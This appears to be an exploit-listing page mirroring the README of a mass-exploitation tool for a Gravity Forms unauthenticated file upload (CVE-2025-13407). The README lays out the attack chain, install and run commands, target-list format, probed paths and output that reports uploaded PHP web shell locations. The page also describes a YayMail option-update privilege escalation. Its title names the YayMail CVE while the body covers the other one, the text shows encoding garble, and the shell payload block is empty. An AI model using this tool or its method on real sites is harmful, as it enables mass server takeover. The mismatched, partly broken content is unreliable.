Share
## https://sploitus.com/exploit?id=D3A2217C-DCF2-5A65-A0E0-27206B8A2B1D
# CVE-2026-1937
YayMail <= 4.3.2 - Missing Authorization to Authenticated (Shop Manager+) Arbitrary Options Update via 'yaymail_import_state' AJAX Action

  



  
  
  
  
  
  
  


---

## ๐Ÿ”ด Vulnerabilities Overview

---

### โ‘  CVE-2025-13407 โ€” Gravity Forms Unauthenticated Chunked File Upload (RCE)

| Field | Details |
|---|---|
| **CVE ID** | CVE-2025-13407 |
| **Severity** | **CRITICAL** |
| **Affected Software** | Gravity Forms Plugin for WordPress |
| **Vulnerability Type** | Unauthenticated Arbitrary File Upload โ†’ Remote Code Execution |
| **Authentication Required** | **None** |
| **Affected Component** | `gf_page=upload` chunked upload endpoint |
| **CWE** | CWE-434: Unrestricted Upload of File with Dangerous Type |

**Description:**  
Gravity Forms exposes a legacy chunked upload endpoint (`?gf_page=upload`) that processes multi-part file uploads for multi-file upload form fields. The endpoint lacks proper server-side file type validation and authentication checks, allowing a remote unauthenticated attacker to upload arbitrary files โ€” including PHP web shells โ€” directly to the server's `wp-content/uploads/gravity_forms/-/tmp/` directory. Successful exploitation results in **Remote Code Execution (RCE)** under the web server process context. The attacker can discover the upload path by brute-forcing or computing the WordPress hash suffix associated with the form ID.

---

### โ‘ก CVE-2026-1937 โ€” YayMail WooCommerce Email Customizer Privilege Escalation

| Field | Details |
|---|---|
| **CVE ID** | CVE-2026-1937 |
| **Severity** | **HIGH** |
| **Affected Software** | YayMail โ€“ WooCommerce Email Customizer Plugin for WordPress |
| **Affected Versions** | All versions up to and including **4.3.2** |
| **Vulnerability Type** | Missing Capability Check โ†’ Unauthorized Option Update โ†’ Privilege Escalation |
| **Authentication Required** | Yes โ€” **Shop Manager** level or above |
| **CWE** | CWE-862: Missing Authorization |

**Description:**  
The **YayMail โ€“ WooCommerce Email Customizer** plugin for WordPress is vulnerable to **unauthorized modification of data leading to Privilege Escalation** in all versions up to and including **4.3.2**. The `yaymail_import_state` AJAX action handler is registered without any capability check, allowing authenticated attackers with **Shop Manager-level access** or above to invoke it freely. By submitting a crafted AJAX request, the attacker can update arbitrary WordPress site options โ€” including setting the **default user registration role to `administrator`** and **enabling open user registration** โ€” effectively turning the public registration page into an administrator account factory. Any visitor can then register and receive a full WordPress admin account.

---

## ๐Ÿ› ๏ธ Tool Description โ€” CVE-2025-13407

This PoC script performs a **mass exploitation scan** of WordPress sites running vulnerable versions of **Gravity Forms** by:

1. Crawling a list of candidate page paths known to host Gravity Forms
2. Detecting pages containing `.gform_fileupload_multifile` widgets
3. Extracting `form_id`, `field_id`, and `gform_unique_id` from the HTML
4. Uploading a PHP web shell via the two-step chunked upload protocol
5. Reporting the full temp path (if `wp_hash(form_id)` is known) or the raw upload metadata

### ๐Ÿ”— Attack Chain

```
[Discovery]
  GET //  โ†’  Detect .gform_fileupload_multifile
  Extract: form_id, field_id, gform_unique_id

        โ†“

[Chunk 1 Upload]
  POST /?gf_page=upload
  file=nxploited.php  |  chunk=0  |  chunks=2
  โ†’ Receive: hash + temp_filename

        โ†“

[Chunk 2 Upload]
  POST /?gf_page=upload
  file=image.jpg  |  chunk=1  |  chunks=2
  Pass: hash + temp_filename from Chunk 1
  โ†’ Receive: final temp_filename

        โ†“

[Result]
  Temp shell path:
  /wp-content/uploads/gravity_forms/-/tmp/

        โ†“

[Log to gravity_mass_success.txt]
```

---

## ๐Ÿ“‹ Requirements

### System Requirements
- Python **3.8** or higher
- Linux / Windows / macOS

### Python Dependencies

```bash
pip install requests urllib3 beautifulsoup4 rich
```

Or via requirements file:

```bash
pip install -r requirements.txt
```

**`requirements.txt`:**
```
requests>=2.28.0
urllib3>=1.26.0
beautifulsoup4>=4.12.0
rich>=13.0.0
```

---

## ๐Ÿš€ Installation

```bash
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-13407.git
cd CVE-2025-13407

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2025-13407.py
```

---

## โš™๏ธ Usage

### Basic Run

```bash
python3 CVE-2025-13407.py
```

The tool uses a fully interactive terminal interface powered by **Rich**.

---

### ๐Ÿ—‚๏ธ Target List Format

Create a plain text file (default: `list.txt`) with one target per line:

```
https://target1.com
https://target2.com
http://target3.com
target4.com
```

> Targets without `http://` or `https://` are automatically prefixed with `http://`.

---

### ๐Ÿ–ฅ๏ธ Interactive Prompts

```
Targets file (one host per line) (default: list.txt): list.txt
Threads (default: 5): 10
```

---

### ๐Ÿ”‘ Known Hashes โ€” Full URL Resolution

If you know the `wp_hash(form_id)` for a specific form (e.g., via source code access or prior reconnaissance), add it to `KNOWN_HASHES` in the script for full upload URL resolution:

```python
KNOWN_HASHES = {
    "1": "651bc17dc2385aec9f37e1b3c96c0234",
    "3": "a3f2b9c1d7e4f0ab123456789abcdef0",
}
```

| Scenario | Result |
|---|---|
| Hash **known** | Full URL: `https://target.com/wp-content/uploads/gravity_forms/1-651bc.../tmp/nxploited.php` |
| Hash **unknown** | Metadata logged: `target \| page=... \| form_id=... \| temp_filename=...` |

---

## ๐Ÿ”ฌ Candidate Pages Scanned

The tool automatically probes the following paths on each target (in priority order):

| Category | Paths |
|---|---|
| **Priority** | `/nx_p`, `/nx-p`, `/upload`, `/form`, `/forms`, `/home`, `/contact`, `/contact-us` |
| **Gravity Forms Templates** | `/Gravity-Forms-Upload`, `/Simple-Contact-Form`, `/Advanced-Contact-Form` |
| **WooCommerce Forms** | `/eCommerce-Form`, `/Stripe-Checkout-Form`, `/PayPal-Checkout-Form` |
| **Registration Forms** | `/User-Registration-Form`, `/Event-Registration-Form`, `/Webinar-Registration-Form` |
| **Other Templates** | `/Donation-Form`, `/Survey-Form`, `/Newsletter-Signup-Form`, `/Request-a-Quote-Form` |

---

## ๐Ÿš Uploaded Shell Content

The tool uploads the following static PHP payload:

```php

```

> The file is uploaded as `nxploited.php` via the chunked upload protocol using filename obfuscation (`nxploited.php!`).

---

## ๐Ÿ“ Output Files

| File | Description |
|---|---|
| `gravity_mass_success.txt` | All successful temp upload paths / metadata |

### โœ… Output Format

**With known hash:**
```
https://target.com/wp-content/uploads/gravity_forms/1-651bc17dc2385aec9f37e1b3c96c0234/tmp/nxploited.php
```

**Without known hash:**
```
https://target.com | page=https://target.com/contact | form_id=1 | temp_filename=nxploited.php
```

---

## ๐Ÿ–ฅ๏ธ Terminal Output Sample

```
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘   CVE-2025-13407  |  Gravity Forms Mass Exploit          โ•‘
โ•‘   By: Nxploited   |  GitHub: github.com/Nxploited        โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Target: https://target.com                              โ”‚
โ”‚  Pages: 32                                               โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

[VULN]  Multi-file upload at https://target.com/contact
        (form_id=2, field_id=5, gform_unique_id=abc123)

โ”Œโ”€ UPLOAD SUCCESS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  https://target.com/wp-content/uploads/gravity_forms/    โ”‚
โ”‚  2-/tmp/nxploited.php                           โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

---

## ๐Ÿ“Š Status Reference

| Message | Meaning |
|---|---|
| `UPLOAD SUCCESS` | ๐ŸŸข Both chunks accepted โ€” temp file written to disk |
| `No exploitable multi-file form found` | ๐Ÿ”ด No `.gform_fileupload_multifile` widget detected on any scanned page |
| `First chunk missing fields` | ๐ŸŸก Endpoint responded but JSON structure unexpected |
| `Second chunk missing temp_filename` | ๐ŸŸก First chunk succeeded but second chunk response malformed |
| `Request error` | โšซ Network/timeout error on page fetch |

---

## ๐Ÿ“ก Contact & Author


  By: Nxploited (Khaled Alenazi)
  
    
  
   
  
    
  


---

## โš ๏ธ Legal Disclaimer

> **THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH PURPOSES ONLY.**
>
> The author, **Nxploited (Khaled Alenazi)**, and all contributors to this project **do not condone, support, or take any responsibility** for the misuse of this tool or any damage caused by the use of this software against systems for which you do not have explicit written authorization.
>
> - โœ… **Permitted:** Use on systems you own or have been granted **explicit written permission** to test.
> - โŒ **Prohibited:** Use against any systems without prior explicit written authorization from the system owner.
>
> **Unauthorized access to computer systems is illegal and punishable under applicable laws** including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.
>
> **By using this tool, you accept sole and full responsibility for your actions and confirm that you have the legal authority to test the targeted systems.**
>
> The author assumes **no liability** whatsoever for any direct, indirect, incidental, or consequential damages arising from the use or misuse of this software.

---


  ยฉ 2026 Nxploited (Khaled Alenazi) โ€” For authorized security research only.